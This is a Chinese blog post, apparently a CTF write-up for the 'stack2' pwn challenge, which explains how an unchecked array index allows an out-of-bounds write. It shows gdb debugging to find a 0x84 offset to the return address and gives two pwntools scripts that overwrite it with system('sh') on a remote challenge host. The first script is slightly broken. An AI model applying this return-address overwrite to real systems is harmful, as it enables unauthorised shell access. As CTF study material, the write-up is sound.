【攻防世界】Pwn系列之stack2

Pwn系列之stack2

首先检查下该程序设置了哪些防护,如下开启了cannary和NX保护

运行下该程序,如下就是个保存整数数组,并且显示和修改数组内容的一个程序

接下来打开IDA查看main函数中的代码逻辑

然后我们继续搜索下有没有相关的命令执行函数,在IDA中搜索发现有个hackere()和system(),大致解题思路就是将主函数中的rip返回地址修改为需要执行的函数,从而造成命令执行。所以需要去找函数返回地址

接下来我们继续分析下数组保存数据的汇编指令,如下在数组赋值阶段,先将输入的值给eax再给ecx,最后mov [eax],xl这一句指令将ecx低位数据赋给[eax],这就是数组第一个元素的赋值

接下来我们可以使用gdb动态调试一下,观察上述指令执行后是否成功赋值,如下在执行赋值前0x080486D5地址处和执行完赋值后0x080486D7地址处下断点,观察[eax]的变化

运行程序到第一个断点处停止,查看寄存器状态

查看赋值之前eax寄存器地址处的值为0

输入continue命令,继续运行程序到第二个断点处停止

可以看到eax地址处已经变成了0x1

说明0xffb7d198为数组首地址,要想判断出返回地址距离数组首地址的偏移量,要先获取main函数执行完成后的esp的地址,如下main endp指令的地址为0x080488F2,在gdb中在其地址出设置断点

还是运行continue继续执行到断点处,查看此时esp寄存器的值为0xffb7d21c

那么偏移量为0xffb7d21c-0xffb7d198=0x84,现在偏移量也知道了,就可以修改返回地址为我们需要的命令执行函数,我们先找下hackhere()的地址为0x0804859B,把这个地址覆盖到返回地址即可执行

下面编写exp,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

from pwn import *

#process = process('./stack2')
process = remote('61.147.171.105',49808)
hackhere=[0x9b,0x85,0x04,0x08]
write_offset = 0x84
def change_number(offset,value):
process.sendlineafter('5. exit','3')
process.sendlineafter('which number to change:',str(offset))
process.sendlineafter('new number:',str(value))

process.sendlineafter('How many numbers you have:','1')
process.sendlineafter('Give me your numbers','1')
for i in range(4):
change_number(write_offset+i,sys_addr[i])
process.sendlineafter('5. exit','5')
process.interactive()


运行后提示没有”/bin/bash”

那么就只能去调用system()并传入参数”sh”进入shell执行命令,修改代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

#process = process('./stack2')
process = remote('61.147.171.105',49808)
hackhere=[0x9b,0x85,0x04,0x08]
write_offset = 0x84
sys_addr = [0x50,0x84,0x04,0x08]
sh_addr = [0x87,0x99,0x04,0x08]
def change_number(offset,value):
process.sendlineafter('5. exit','3')
process.sendlineafter('which number to change:',str(offset))
process.sendlineafter('new number:',str(value))

process.sendlineafter('How many numbers you have:','1')
process.sendlineafter('Give me your numbers','1')
for i in range(4):
change_number(write_offset+i,sys_addr[i])
write_offset+=8
for i in range(4):
change_number(write_offset+i,sh_addr[i])
process.sendlineafter('5. exit','5')
process.interactive()

获取flag值

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信